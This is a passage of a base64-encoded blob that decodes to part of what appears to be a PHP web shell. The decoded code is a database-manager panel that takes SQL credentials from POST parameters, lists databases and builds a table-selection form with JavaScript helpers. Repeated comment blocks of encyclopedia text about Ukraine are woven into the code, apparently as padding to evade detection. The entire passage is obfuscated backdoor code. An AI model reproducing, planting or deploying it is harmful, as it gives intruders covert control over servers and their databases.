TVFsnc3FsX2hvc3QnXSwgJF9QT1NUWydzcWxfbG9naW4nXSwgJF9QT1NUWydzcWxfcGFzcyddLCAkX1BPU1RbJ3NxbF9iYXNlJ10pKSB7CgkJCXN3aXRjaCgkX1BPU1RbJ2NoYXJzZXQnXSkgewoJCQkJY2FzZSAiV2luZG93cy0xMjUxIjogJGRiLT5zZXRDaGFyc2V0KCdjcDEyNTEnKTsgYnJlYWs7CgkJCQljYXNlICJVVEYtOCI6ICRkYi0+c2V0Q2hhcnNldCgndXRmOCcpOyBicmVhazsKCQkJCWNhc2UgIktPSTgtUiI6ICRkYi0+c2V0Q2hhcnNldCgna29pOHInKTsgYnJlYWs7CgkJCQljYXNlICJLT0k4LVUiOiAkZGItPnNldENoYXJzZXQoJ2tvaTh1Jyk7IGJyZWFrOwovKgoKVWtyYWluZSAoVWtyYWluaWFuOiDQo9C60YDQsNGX0L3QsCwgcm9tYW5pemVkOiBVa3JheWluYSwgcHJvbm91bmNlZCBbyoprcsmQy4hqaW7JkF0gKEFib3V0IHRoaXMgc291bmRsaXN0ZW4pKSwgc29tZXRpbWVzIGNhbGxlZCB0aGUgVWtyYWluZSxbN10gaXMgYSBjb3VudHJ5IGluIEVhc3Rlcm4gRXVyb3BlLls4XSBFeGNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhIHBvcHVsYXRpb24gb2YgYWJvdXQgNDIgbWlsbGlvbixbMl0gbWFraW5nIGl0IHRoZSAzMm5kIG1vc3QgcG9wdWxvdXMgY291bnRyeSBpbiB0aGUgd29ybGQuIEl0cyBjYXBpdGFsIGFuZCBsYXJnZXN0IGNpdHkgaXMgS2lldi4gVWtyYWluaWFuIGlzIHRoZSBvZmZpY2lhbCBsYW5ndWFnZSBhbmQgaXRzIGFscGhhYmV0IGlzIEN5cmlsbGljLiBUaGUgZG9taW5hbnQgcmVsaWdpb24gaW4gdGhlIGNvdW50cnkgaXMgRWFzdGVybiBPcnRob2RveHkuIFVrcmFpbmUgaXMgY3VycmVudGx5IGluIGEgdGVycml0b3JpYWwgZGlzcHV0ZSB3aXRoIFJ1c3NpYSBvdmVyIHRoZSBDcmltZWFuIFBlbmluc3VsYSwgd2hpY2ggUnVzc2lhIGFubmV4ZWQgaW4gMjAxNC5bOV0gSW5jbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYW4gYXJlYSBvZiA2MDMsNjI4IGttMiAoMjMzLDA2MiBzcSBtaSksWzEwXSBtYWtpbmcgaXQgdGhlIGxhcmdlc3QgY291bnRyeSBlbnRpcmVseSB3aXRoaW4gRXVyb3BlIGFuZCB0aGUgNDZ0aCBsYXJnZXN0IGNvdW50cnkgaW4gdGhlIHdvcmxkLgoKVGhlIHRlcnJpdG9yeSBvZiBtb2Rlcm4gVWtyYWluZSBoYXMgYmVlbiBpbmhhYml0ZWQgc2luY2UgMzIsMDAwIEJDLiBEdXJpbmcgdGhlIE1pZGRsZSBBZ2VzLCB0aGUgYXJlYSB3YXMgYSBrZXkgY2VudHJlIG9mIEVhc3QgU2xhdmljIGN1bHR1cmUsIHdpdGggdGhlIHBvd2VyZnVsIHN0YXRlIG9mIEtpZXZhbiBSdXMnIGZvcm1pbmcgdGhlIGJhc2lzIG9mIFVrcmFpbmlhbiBpZGVudGl0eS4gRm9sbG93aW5nIGl0cyBmcmFnbWVudGF0aW9uIGluIHRoZSAxM3RoIGNlbnR1cnksIHRoZSB0ZXJyaXRvcnkgd2FzIGNvbnRlc3RlZCwgcnVsZWQgYW5kIGRpdmlkZWQgYnkgYSB2YXJpZXR5IG9mIHBvd2VycywgaW5jbHVkaW5nIExpdGh1YW5pYSwgUG9sYW5kLCBBdXN0cmlhLUh1bmdhcnksIHRoZSBPdHRvbWFuIEVtcGlyZSBhbmQgUnVzc2lhLiBBIENvc3NhY2sgcmVwdWJsaWMgZW1lcmdlZCBhbmQgcHJvc3BlcmVkIGR1cmluZyB0aGUgMTd0aCBhbmQgMTh0aCBjZW50dXJpZXMsIGJ1dCBpdHMgdGVycml0b3J5IHdhcyBldmVudHVhbGx5IHNwbGl0IGJldHdlZW4gUG9sYW5kIGFuZCB0aGUgUnVzc2lhbiBFbXBpcmUsIGFuZCBmaW5hbGx5IG1lcmdlZCBmdWxseSBpbnRvIHRoZSBSdXNzaWFuLWRvbWluYXRlZCBTb3ZpZXQgVW5pb24gaW4gdGhlIGxhdGUgMTk0MHMgYXMgdGhlIFVrcmFpbmlhbiBTb3ZpZXQgU29jaWFsaXN0IFJlcHVibGljLiBJbiAxOTkxLCBVa3JhaW5lIGdhaW5lZCBpdHMgaW5kZXBlbmRlbmNlIGZyb20gdGhlIFNvdmlldCBVbmlvbiBpbiB0aGUgYWZ0ZXJtYXRoIG9mIGl0cyBkaXNzb2x1dGlvbiBhdCB0aGUgZW5kIG9mIHRoZSBDb2xkIFdhci4gQmVmb3JlIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgd2FzIHR5cGljYWxseSByZWZlcnJlZCB0byBpbiBFbmdsaXNoIGFzICJUaGUgVWtyYWluZSIsIGJ1dCBtb3N0IHNvdXJjZXMgaGF2ZSBzaW5jZSBtb3ZlZCB0byBkcm9wICJ0aGUiIGZyb20gdGhlIG5hbWUgb2YgVWtyYWluZSBpbiBhbGwgdXNlcy5bMTFdCgpGb2xsb3dpbmcgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSBkZWNsYXJlZCBpdHNlbGYgYSBuZXV0cmFsIHN0YXRlO1sxMl0gaXQgZm9ybWVkIGEgbGltaXRlZCBtaWxpdGFyeSBwYXJ0bmVyc2hpcCB3aXRoIFJ1c3NpYSBhbmQgb3RoZXIgQ0lTIGNvdW50cmllcyB3aGlsZSBhbHNvIGVzdGFibGlzaGluZyBhIHBhcnRuZXJzaGlwIHdpdGggTkFUTyBpbiAxOTk0LiBJbiAyMDEzLCBhZnRlciB0aGUgZ292ZXJubWVudCBvZiBQcmVzaWRlbnQgVmlrdG9yIFlhbnVrb3Z5Y2ggaGFkIGRlY2lkZWQgdG8gc3VzcGVuZCB0aGUgVWtyYWluZS1FdXJvcGVhbiBVbmlvbiBBc3NvY2lhdGlvbiBBZ3JlZW1lbnQgYW5kIHNlZWsgY2xvc2VyIGVjb25vbWljIHRpZXMgd2l0aCBSdXNzaWEsIGEgc2V2ZXJhbC1tb250aHMtbG9uZyB3YXZlIG9mIGRlbW9uc3RyYXRpb25zIGFuZCBwcm90ZXN0cyBrbm93biBhcyB0aGUgRXVyb21haWRhbiBiZWdhbiwgd2hpY2ggbGF0ZXIgZXNjYWxhdGVkIGludG8gdGhlIDIwMTQgVWtyYWluaWFuIHJldm9sdXRpb24gdGhhdCBsZWQgdG8gdGhlIG92ZXJ0aHJvdyBvZiBZYW51a292eWNoIGFuZCB0aGUgZXN0YWJsaXNobWVudCBvZiBhIG5ldyBnb3Zlcm5tZW50LiBUaGVzZSBldmVudHMgZm9ybWVkIHRoZSBiYWNrZ3JvdW5kIGZvciB0aGUgYW5uZXhhdGlvbiBvZiBDcmltZWEgYnkgUnVzc2lhIGluIE1hcmNoIDIwMTQsIGFuZCB0aGUgV2FyIGluIERvbmJhc3MgaW4gQXByaWwgMjAxNC4gT24gMSBKYW51YXJ5IDIwMTYsIFVrcmFpbmUgYXBwbGllZCB0aGUgZWNvbm9taWMgY29tcG9uZW50IG9mIHRoZSBEZWVwIGFuZCBDb21wcmVoZW5zaXZlIEZyZWUgVHJhZGUgQXJlYSB3aXRoIHRoZSBFdXJvcGVhbiBVbmlvbi5bMTNdCgpVa3JhaW5lIGlzIGEgZGV2ZWxvcGluZyBjb3VudHJ5IGFuZCByYW5rcyA4OHRoIG9uIHRoZSBIdW1hbiBEZXZlbG9wbWVudCBJbmRleC4gQXMgb2YgMjAxOCwgVWtyYWluZSBpcyB0aGUgcG9vcmVzdCBjb3VudHJ5IGluIEV1cm9wZSBhbG9uZ3NpZGUgTW9sZG92YSBpbiB0ZXJtcyBvZiBHRFAgcGVyIGNhcGl0YS4gQXQgVVMkNDAsIGl0IGhhcyB0aGUgbG93ZXN0IG1lZGlhbiB3ZWFsdGggcGVyIGFkdWx0IGluIHRoZSB3b3JsZCxbbm90ZSAxXVsxNF0gYW5kIHN1ZmZlcnMgZnJvbSBhIHZlcnkgaGlnaCBwb3ZlcnR5IHJhdGUgYXMgd2VsbCBhcyBzZXZlcmUgY29ycnVwdGlvbi5bMTVdIEhvd2V2ZXIsIGJlY2F1c2Ugb2YgaXRzIGV4dGVuc2l2ZSBmZXJ0aWxlIGZhcm1sYW5kcywgVWtyYWluZSBpcyBvbmUgb2YgdGhlIHdvcmxkJ3MgbGFyZ2VzdCBncmFpbiBleHBvcnRlcnMuWzE2XVsxN10gSXQgYWxzbyBtYWludGFpbnMgdGhlIHNlY29uZC1sYXJnZXN0IG1pbGl0YXJ5IGluIEV1cm9wZSBhZnRlciB0aGF0IG9mIFJ1c3NpYS4gVWtyYWluZSBpcyBhIHVuaXRhcnkgcmVwdWJsaWMgdW5kZXIgYSBzZW1pLXByZXNpZGVudGlhbCBzeXN0ZW0gd2l0aCBzZXBhcmF0ZSBwb3dlcnM6IGxlZ2lzbGF0aXZlLCBleGVjdXRpdmUgYW5kIGp1ZGljaWFsIGJyYW5jaGVzLiBUaGUgY291bnRyeSBpcyBhIG1lbWJlciBvZiB0aGUgVW5pdGVkIE5hdGlvbnMsIHRoZSBDb3VuY2lsIG9mIEV1cm9wZSwgdGhlIE9TQ0UsIHRoZSBHVUFNIG9yZ2FuaXphdGlvbiwgYW5kIG9uZSBvZiB0aGUgZm91bmRpbmcgc3RhdGVzIG9mIHRoZSBDb21tb253ZWFsdGggb2YgSW5kZXBlbmRlbnQgU3RhdGVzIChDSVMpLiAKKi8KCQkJCWNhc2UgImNwODY2IjogJGRiLT5zZXRDaGFyc2V0KCdjcDg2NicpOyBicmVhazsKCQkJfQoJCQkkZGItPmxpc3REYnMoKTsKCQkJZWNobyAiPHNlbGVjdCBuYW1lPXNxbF9iYXNlPjxvcHRpb24gdmFsdWU9Jyc+PC9vcHRpb24+IjsKCQkJd2hpbGUoJGl0ZW0gPSAkZGItPmZldGNoKCkpIHsKCQkJCWxpc3QoJGtleSwgJHZhbHVlKSA9IGVhY2goJGl0ZW0pOwoJCQkJZWNobyAnPG9wdGlvbiB2YWx1ZT0iJy4kdmFsdWUuJyIgJy4oJHZhbHVlPT0kX1BPU1RbJ3NxbF9iYXNlJ10/J3NlbGVjdGVkJzonJykuJz4nLiR2YWx1ZS4nPC9vcHRpb24+JzsKCQkJfQoJCQllY2hvICc8L3NlbGVjdD4nOwovKgoKVWtyYWluZSAoVWtyYWluaWFuOiDQo9C60YDQsNGX0L3QsCwgcm9tYW5pemVkOiBVa3JheWluYSwgcHJvbm91bmNlZCBbyoprcsmQy4hqaW7JkF0gKEFib3V0IHRoaXMgc291bmRsaXN0ZW4pKSwgc29tZXRpbWVzIGNhbGxlZCB0aGUgVWtyYWluZSxbN10gaXMgYSBjb3VudHJ5IGluIEVhc3Rlcm4gRXVyb3BlLls4XSBFeGNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhIHBvcHVsYXRpb24gb2YgYWJvdXQgNDIgbWlsbGlvbixbMl0gbWFraW5nIGl0IHRoZSAzMm5kIG1vc3QgcG9wdWxvdXMgY291bnRyeSBpbiB0aGUgd29ybGQuIEl0cyBjYXBpdGFsIGFuZCBsYXJnZXN0IGNpdHkgaXMgS2lldi4gVWtyYWluaWFuIGlzIHRoZSBvZmZpY2lhbCBsYW5ndWFnZSBhbmQgaXRzIGFscGhhYmV0IGlzIEN5cmlsbGljLiBUaGUgZG9taW5hbnQgcmVsaWdpb24gaW4gdGhlIGNvdW50cnkgaXMgRWFzdGVybiBPcnRob2RveHkuIFVrcmFpbmUgaXMgY3VycmVudGx5IGluIGEgdGVycml0b3JpYWwgZGlzcHV0ZSB3aXRoIFJ1c3NpYSBvdmVyIHRoZSBDcmltZWFuIFBlbmluc3VsYSwgd2hpY2ggUnVzc2lhIGFubmV4ZWQgaW4gMjAxNC5bOV0gSW5jbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYW4gYXJlYSBvZiA2MDMsNjI4IGttMiAoMjMzLDA2MiBzcSBtaSksWzEwXSBtYWtpbmcgaXQgdGhlIGxhcmdlc3QgY291bnRyeSBlbnRpcmVseSB3aXRoaW4gRXVyb3BlIGFuZCB0aGUgNDZ0aCBsYXJnZXN0IGNvdW50cnkgaW4gdGhlIHdvcmxkLgoKVGhlIHRlcnJpdG9yeSBvZiBtb2Rlcm4gVWtyYWluZSBoYXMgYmVlbiBpbmhhYml0ZWQgc2luY2UgMzIsMDAwIEJDLiBEdXJpbmcgdGhlIE1pZGRsZSBBZ2VzLCB0aGUgYXJlYSB3YXMgYSBrZXkgY2VudHJlIG9mIEVhc3QgU2xhdmljIGN1bHR1cmUsIHdpdGggdGhlIHBvd2VyZnVsIHN0YXRlIG9mIEtpZXZhbiBSdXMnIGZvcm1pbmcgdGhlIGJhc2lzIG9mIFVrcmFpbmlhbiBpZGVudGl0eS4gRm9sbG93aW5nIGl0cyBmcmFnbWVudGF0aW9uIGluIHRoZSAxM3RoIGNlbnR1cnksIHRoZSB0ZXJyaXRvcnkgd2FzIGNvbnRlc3RlZCwgcnVsZWQgYW5kIGRpdmlkZWQgYnkgYSB2YXJpZXR5IG9mIHBvd2VycywgaW5jbHVkaW5nIExpdGh1YW5pYSwgUG9sYW5kLCBBdXN0cmlhLUh1bmdhcnksIHRoZSBPdHRvbWFuIEVtcGlyZSBhbmQgUnVzc2lhLiBBIENvc3NhY2sgcmVwdWJsaWMgZW1lcmdlZCBhbmQgcHJvc3BlcmVkIGR1cmluZyB0aGUgMTd0aCBhbmQgMTh0aCBjZW50dXJpZXMsIGJ1dCBpdHMgdGVycml0b3J5IHdhcyBldmVudHVhbGx5IHNwbGl0IGJldHdlZW4gUG9sYW5kIGFuZCB0aGUgUnVzc2lhbiBFbXBpcmUsIGFuZCBmaW5hbGx5IG1lcmdlZCBmdWxseSBpbnRvIHRoZSBSdXNzaWFuLWRvbWluYXRlZCBTb3ZpZXQgVW5pb24gaW4gdGhlIGxhdGUgMTk0MHMgYXMgdGhlIFVrcmFpbmlhbiBTb3ZpZXQgU29jaWFsaXN0IFJlcHVibGljLiBJbiAxOTkxLCBVa3JhaW5lIGdhaW5lZCBpdHMgaW5kZXBlbmRlbmNlIGZyb20gdGhlIFNvdmlldCBVbmlvbiBpbiB0aGUgYWZ0ZXJtYXRoIG9mIGl0cyBkaXNzb2x1dGlvbiBhdCB0aGUgZW5kIG9mIHRoZSBDb2xkIFdhci4gQmVmb3JlIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgd2FzIHR5cGljYWxseSByZWZlcnJlZCB0byBpbiBFbmdsaXNoIGFzICJUaGUgVWtyYWluZSIsIGJ1dCBtb3N0IHNvdXJjZXMgaGF2ZSBzaW5jZSBtb3ZlZCB0byBkcm9wICJ0aGUiIGZyb20gdGhlIG5hbWUgb2YgVWtyYWluZSBpbiBhbGwgdXNlcy5bMTFdCgpGb2xsb3dpbmcgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSBkZWNsYXJlZCBpdHNlbGYgYSBuZXV0cmFsIHN0YXRlO1sxMl0gaXQgZm9ybWVkIGEgbGltaXRlZCBtaWxpdGFyeSBwYXJ0bmVyc2hpcCB3aXRoIFJ1c3NpYSBhbmQgb3RoZXIgQ0lTIGNvdW50cmllcyB3aGlsZSBhbHNvIGVzdGFibGlzaGluZyBhIHBhcnRuZXJzaGlwIHdpdGggTkFUTyBpbiAxOTk0LiBJbiAyMDEzLCBhZnRlciB0aGUgZ292ZXJubWVudCBvZiBQcmVzaWRlbnQgVmlrdG9yIFlhbnVrb3Z5Y2ggaGFkIGRlY2lkZWQgdG8gc3VzcGVuZCB0aGUgVWtyYWluZS1FdXJvcGVhbiBVbmlvbiBBc3NvY2lhdGlvbiBBZ3JlZW1lbnQgYW5kIHNlZWsgY2xvc2VyIGVjb25vbWljIHRpZXMgd2l0aCBSdXNzaWEsIGEgc2V2ZXJhbC1tb250aHMtbG9uZyB3YXZlIG9mIGRlbW9uc3RyYXRpb25zIGFuZCBwcm90ZXN0cyBrbm93biBhcyB0aGUgRXVyb21haWRhbiBiZWdhbiwgd2hpY2ggbGF0ZXIgZXNjYWxhdGVkIGludG8gdGhlIDIwMTQgVWtyYWluaWFuIHJldm9sdXRpb24gdGhhdCBsZWQgdG8gdGhlIG92ZXJ0aHJvdyBvZiBZYW51a292eWNoIGFuZCB0aGUgZXN0YWJsaXNobWVudCBvZiBhIG5ldyBnb3Zlcm5tZW50LiBUaGVzZSBldmVudHMgZm9ybWVkIHRoZSBiYWNrZ3JvdW5kIGZvciB0aGUgYW5uZXhhdGlvbiBvZiBDcmltZWEgYnkgUnVzc2lhIGluIE1hcmNoIDIwMTQsIGFuZCB0aGUgV2FyIGluIERvbmJhc3MgaW4gQXByaWwgMjAxNC4gT24gMSBKYW51YXJ5IDIwMTYsIFVrcmFpbmUgYXBwbGllZCB0aGUgZWNvbm9taWMgY29tcG9uZW50IG9mIHRoZSBEZWVwIGFuZCBDb21wcmVoZW5zaXZlIEZyZWUgVHJhZGUgQXJlYSB3aXRoIHRoZSBFdXJvcGVhbiBVbmlvbi5bMTNdCgpVa3JhaW5lIGlzIGEgZGV2ZWxvcGluZyBjb3VudHJ5IGFuZCByYW5rcyA4OHRoIG9uIHRoZSBIdW1hbiBEZXZlbG9wbWVudCBJbmRleC4gQXMgb2YgMjAxOCwgVWtyYWluZSBpcyB0aGUgcG9vcmVzdCBjb3VudHJ5IGluIEV1cm9wZSBhbG9uZ3NpZGUgTW9sZG92YSBpbiB0ZXJtcyBvZiBHRFAgcGVyIGNhcGl0YS4gQXQgVVMkNDAsIGl0IGhhcyB0aGUgbG93ZXN0IG1lZGlhbiB3ZWFsdGggcGVyIGFkdWx0IGluIHRoZSB3b3JsZCxbbm90ZSAxXVsxNF0gYW5kIHN1ZmZlcnMgZnJvbSBhIHZlcnkgaGlnaCBwb3ZlcnR5IHJhdGUgYXMgd2VsbCBhcyBzZXZlcmUgY29ycnVwdGlvbi5bMTVdIEhvd2V2ZXIsIGJlY2F1c2Ugb2YgaXRzIGV4dGVuc2l2ZSBmZXJ0aWxlIGZhcm1sYW5kcywgVWtyYWluZSBpcyBvbmUgb2YgdGhlIHdvcmxkJ3MgbGFyZ2VzdCBncmFpbiBleHBvcnRlcnMuWzE2XVsxN10gSXQgYWxzbyBtYWludGFpbnMgdGhlIHNlY29uZC1sYXJnZXN0IG1pbGl0YXJ5IGluIEV1cm9wZSBhZnRlciB0aGF0IG9mIFJ1c3NpYS4gVWtyYWluZSBpcyBhIHVuaXRhcnkgcmVwdWJsaWMgdW5kZXIgYSBzZW1pLXByZXNpZGVudGlhbCBzeXN0ZW0gd2l0aCBzZXBhcmF0ZSBwb3dlcnM6IGxlZ2lzbGF0aXZlLCBleGVjdXRpdmUgYW5kIGp1ZGljaWFsIGJyYW5jaGVzLiBUaGUgY291bnRyeSBpcyBhIG1lbWJlciBvZiB0aGUgVW5pdGVkIE5hdGlvbnMsIHRoZSBDb3VuY2lsIG9mIEV1cm9wZSwgdGhlIE9TQ0UsIHRoZSBHVUFNIG9yZ2FuaXphdGlvbiwgYW5kIG9uZSBvZiB0aGUgZm91bmRpbmcgc3RhdGVzIG9mIHRoZSBDb21tb253ZWFsdGggb2YgSW5kZXBlbmRlbnQgU3RhdGVzIChDSVMpLiAKKi8KCQl9CgkJZWxzZSBlY2hvICR0bXA7Cgl9ZWxzZQoJCWVjaG8gJHRtcDsKCT8+PC90ZD4KCQkJCTx0ZD48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L3RkPgoJCQk8L3RyPgoJCTwvdGFibGU+CgkJPHNjcmlwdD4KCQkJZnVuY3Rpb24gc3QodCxsKSB7CgkJCQlkb2N1bWVudC5zZi5wMS52YWx1ZSA9ICdzZWxlY3QnOwoJCQkJZG9jdW1lbnQuc2YucDIudmFsdWUgPSB0OwoJCQkJaWYobCE9bnVsbClkb2N1bWVudC5zZi5wMy52YWx1ZSA9IGw7CgkJCQlkb2N1bWVudC5zZi5zdWJtaXQoKTsKLyoKClVrcmFpbmUgKFVrcmFpbmlhbjog0KPQutGA0LDRl9C90LAsIHJvbWFuaXplZDogVWtyYXlpbmEsIHByb25vdW5jZWQgW8qKa3LJkMuIamluyZBdIChBYm91dCB0aGlzIHNvdW5kbGlzdGVuKSksIHNvbWV0aW1lcyBjYWxsZWQgdGhlIFVrcmFpbmUsWzddIGlzIGEgY291bnRyeSBpbiBFYXN0ZXJuIEV1cm9wZS5bOF0gRXhjbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYSBwb3B1bGF0aW9uIG9mIGFib3V0IDQyIG1pbGxpb24sWzJdIG1ha2luZyBpdCB0aGUgMzJuZCBtb3N0IHBvcHVsb3VzIGNvdW50cnkgaW4gdGhlIHdvcmxkLiBJdHMgY2FwaXRhbCBhbmQgbGFyZ2VzdCBjaXR5IGlzIEtpZXYuIFVrcmFpbmlhbiBpcyB0aGUgb2ZmaWNpYWwgbGFuZ3VhZ2UgYW5kIGl0cyBhbHBoYWJldCBpcyBDeXJpbGxpYy4gVGhlIGRvbWluYW50IHJlbGlnaW9uIGluIHRoZSBjb3VudHJ5IGlzIEVhc3Rlcm4gT3J0aG9kb3h5LiBVa3JhaW5lIGlzIGN1cnJlbnRseSBpbiBhIHRlcnJpdG9yaWFsIGRpc3B1dGUgd2l0aCBSdXNzaWEgb3ZlciB0aGUgQ3JpbWVhbiBQZW5pbnN1bGEsIHdoaWNoIFJ1c3NpYSBhbm5leGVkIGluIDIwMTQuWzldIEluY2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGFuIGFyZWEgb2YgNjAzLDYyOCBrbTIgKDIzMywwNjIgc3EgbWkpLFsxMF0gbWFraW5nIGl0IHRoZSBsYXJnZXN0IGNvdW50cnkgZW50aXJlbHkgd2l0aGluIEV1cm9wZSBhbmQgdGhlIDQ2dGggbGFyZ2VzdCBjb3VudHJ5IGluIHRoZSB3b3JsZC4KClRoZSB0ZXJyaXRvcnkgb2YgbW9kZXJuIFVrcmFpbmUgaGFzIGJlZW4gaW5oYWJpdGVkIHNpbmNlIDMyLDAwMCBCQy4gRHVyaW5nIHRoZSBNaWRkbGUgQWdlcywgdGhlIGFyZWEgd2FzIGEga2V5IGNlbnRyZSBvZiBFYXN0IFNsYXZpYyBjdWx0dXJlLCB3aXRoIHRoZSBwb3dlcmZ1bCBzdGF0ZSBvZiBLaWV2YW4gUnVzJyBmb3JtaW5nIHRoZSBiYXNpcyBvZiBVa3JhaW5pYW4gaWRlbnRpdHkuIEZvbGxvd2luZyBpdHMgZnJhZ21lbnRhdGlvbiBpbiB0aGUgMTN0aCBjZW50dXJ5LCB0aGUgdGVycml0b3J5IHdhcyBjb250ZXN0ZWQsIHJ1bGVkIGFuZCBkaXZpZGVkIGJ5IGEgdmFyaWV0eSBvZiBwb3dlcnMsIGluY2x1ZGluZyBMaXRodWFuaWEsIFBvbGFuZCwgQXVzdHJpYS1IdW5nYXJ5LCB0aGUgT3R0b21hbiBFbXBpcmUgYW5kIFJ1c3NpYS4gQSBDb3NzYWNrIHJlcHVibGljIGVtZXJnZWQgYW5kIHByb3NwZXJlZCBkdXJpbmcgdGhlIDE3dGggYW5kIDE4dGggY2VudHVyaWVzLCBidXQgaXRzIHRlcnJpdG9yeSB3YXMgZXZlbnR1YWxseSBzcGxpdCBiZXR3ZWVuIFBvbGFuZCBhbmQgdGhlIFJ1c3NpYW4gRW1waXJlLCBhbmQgZmluYWxseSBtZXJnZWQgZnVsbHkgaW50byB0aGUgUnVzc2lhbi1kb21pbmF0ZWQgU292aWV0IFVuaW9uIGluIHRoZSBsYXRlIDE5NDBzIGFzIHRoZSBVa3JhaW5pYW4gU292aWV0IFNvY2lhbGlzdCBSZXB1YmxpYy4gSW4gMTk5MSwgVWtyYWluZSBnYWluZWQgaXRzIGluZGVwZW5kZW5jZSBmcm9tIHRoZSBTb3ZpZXQgVW5pb24gaW4gdGhlIGFmdGVybWF0aCBvZiBpdHMgZGlzc29sdXRpb24gYXQgdGhlIGVuZCBvZiB0aGUgQ29sZCBXYXIuIEJlZm9yZSBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIHdhcyB0eXBpY2FsbHkgcmVmZXJyZWQgdG8gaW4gRW5nbGlzaCBhcyAiVGhlIFVrcmFpbmUiLCBidXQgbW9zdCBzb3VyY2VzIGhhdmUgc2luY2UgbW92ZWQgdG8gZHJvcCAidGhlIiBmcm9tIHRoZSBuYW1lIG9mIFVrcmFpbmUgaW4gYWxsIHVzZXMuWzExXQoKRm9sbG93aW5nIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgZGVjbGFyZWQgaXRzZWxmIGEgbmV1dHJhbCBzdGF0ZTtbMTJdIGl0IGZvcm1lZCBhIGxpbWl0ZWQgbWlsaXRhcnkgcGFydG5lcnNoaXAgd2l0aCBSdXNzaWEgYW5kIG90aGVyIENJUyBjb3VudHJpZXMgd2hpbGUgYWxzbyBlc3RhYmxpc2hpbmcgYSBwYXJ0bmVyc2hpcCB3aXRoIE5BVE8gaW4gMTk5NC4gSW4gMjAxMywgYWZ0ZXIgdGhlIGdvdmVybm1lbnQgb2YgUHJlc2lkZW50IFZpa3RvciBZYW51a292eWNoIGhhZCBkZWNpZGVkIHRvIHN1c3BlbmQgdGhlIFVrcmFpbmUtRXVyb3BlYW4gVW5pb24gQXNzb2NpYXRpb24gQWdyZWVtZW50IGFuZCBzZWVrIGNsb3NlciBlY29ub21pYyB0aWVzIHdpdGggUnVzc2lhLCBhIHNldmVyYWwtbW9udGhzLWxvbmcgd2F2ZSBvZiBkZW1vbnN0cmF0aW9ucyBhbmQgcHJvdGVzdHMga25vd24gYXMgdGhlIEV1cm9tYWlkYW4gYmVnYW4sIHdoaWNoIGxhdGVyIGVzY2FsYXRlZCBpbnRvIHRoZSAyMDE0IFVrcmFpbmlhbiByZXZvbHV0aW9uIHRoYXQgbGVkIHRvIHRoZSBvdmVydGhyb3cgb2YgWWFudWtvdnljaCBhbmQgdGhlIGVzdGFibGlzaG1lbnQgb2YgYSBuZXcgZ292ZXJubWVudC4gVGhlc2UgZXZlbnRzIGZvcm1lZCB0aGUgYmFja2dyb3VuZCBmb3IgdGhlIGFubmV4YXRpb24gb2YgQ3JpbWVhIGJ5IFJ1c3NpYSBpbiBNYXJjaCAyMDE0LCBhbmQgdGhlIFdhciBpbiBEb25iYXNzIGluIEFwcmlsIDIwMTQuIE9uIDEgSmFudWFyeSAyMDE2LCBVa3JhaW5lIGFwcGxpZWQgdGhlIGVjb25vbWljIGNvbXBvbmVudCBvZiB0aGUgRGVlcCBhbmQgQ29tcHJlaGVuc2l2ZSBGcmVlIFRyYWRlIEFyZWEgd2l0aCB0aGUgRXVyb3BlYW4gVW5pb24uWzEzXQoKVWtyYWluZSBpcyBhIGRldmVsb3BpbmcgY291bnRyeSBhbmQgcmFua3MgODh0aCBvbiB0aGUgSHVtYW4gRGV2ZWxvcG1lbnQgSW5kZXguIEFzIG9mIDIwMTgsIFVrcmFpbmUgaXMgdGhlIHBvb3Jlc3QgY291bnRyeSBpbiBFdXJvcGUgYWxvbmdzaWRlIE1vbGRvdmEgaW4gdGVybXMgb2YgR0RQIHBlciBjYXBpdGEuIEF0IFVTJDQwLCBpdCBoYXMgdGhlIGxvd2VzdCBtZWRpYW4gd2VhbHRoIHBlciBhZHVsdCBpbiB0aGUgd29ybGQsW25vdGUgMV1bMTRdIGFuZCBzdWZmZXJzIGZyb20gYSB2ZXJ5IGhpZ2ggcG92ZXJ0eSByYXRlIGFzIHdlbGwgYXMgc2V2ZXJlIGNvcnJ1cHRpb24uWzE1XSBIb3dldmVyLCBiZWNhdXNlIG9mIGl0cyBleHRlbnNpdmUgZmVydGlsZSBmYXJtbGFuZHMsIFVrcmFpbmUgaXMgb25lIG9mIHRoZSB3b3JsZCdzIGxhcmdlc3QgZ3JhaW4gZXhwb3J0ZXJzLlsxNl1bMTddIEl0IGFsc28gbWFpbnRhaW5zIHRoZSBzZWNvbmQtbGFyZ2VzdCBtaWxpdGFyeSBpbiBFdXJvcGUgYWZ0ZXIgdGhhdCBvZiBSdXNzaWEuIFVrcmFpbmUgaXMgYSB1bml0YXJ5IHJlcHVibGljIHVuZGVyIGEgc2VtaS1wcmVzaWRlbnRpYWwgc3lzdGVtIHdpdGggc2VwYXJhdGUgcG93ZXJzOiBsZWdpc2xhdGl2ZSwgZXhlY3V0aXZlIGFuZCBqdWRpY2lhbCBicmFuY2hlcy4gVGhlIGNvdW50cnkgaXMgYSBtZW1iZXIgb2YgdGhlIFVuaXRlZCBOYXRpb25zLCB0aGUgQ291bmNpbCBvZiBFdXJvcGUsIHRoZSBPU0NFLCB0aGUgR1VBTSBvcmdhbml6YXRpb24sIGFuZCBvbmUgb2YgdGhlIGZvdW5kaW5nIHN0YXRlcyBvZiB0aGUgQ29tbW9ud2VhbHRoIG9mIEluZGVwZW5kZW50IFN0YXRlcyAoQ0lTKS4gCiovCgkJCX0KCQkJZnVuY3Rpb24gaXMoKSB7CgkJCQlmb3IoaT0wO2k8ZG9jdW1lbnQuc2YuZWxlbWVudHNbJ3RibFtdJ10ubGVuZ3RoOysraSkKCQkJCQlkb2N1bWVudC5zZi5lbGVtZW50c1sndGJsW10nXVtpXS5jaGVja2VkID0gIWRvY3VtZW50LnNmLmVsZW1lbnRzWyd0YmxbXSddW2ldL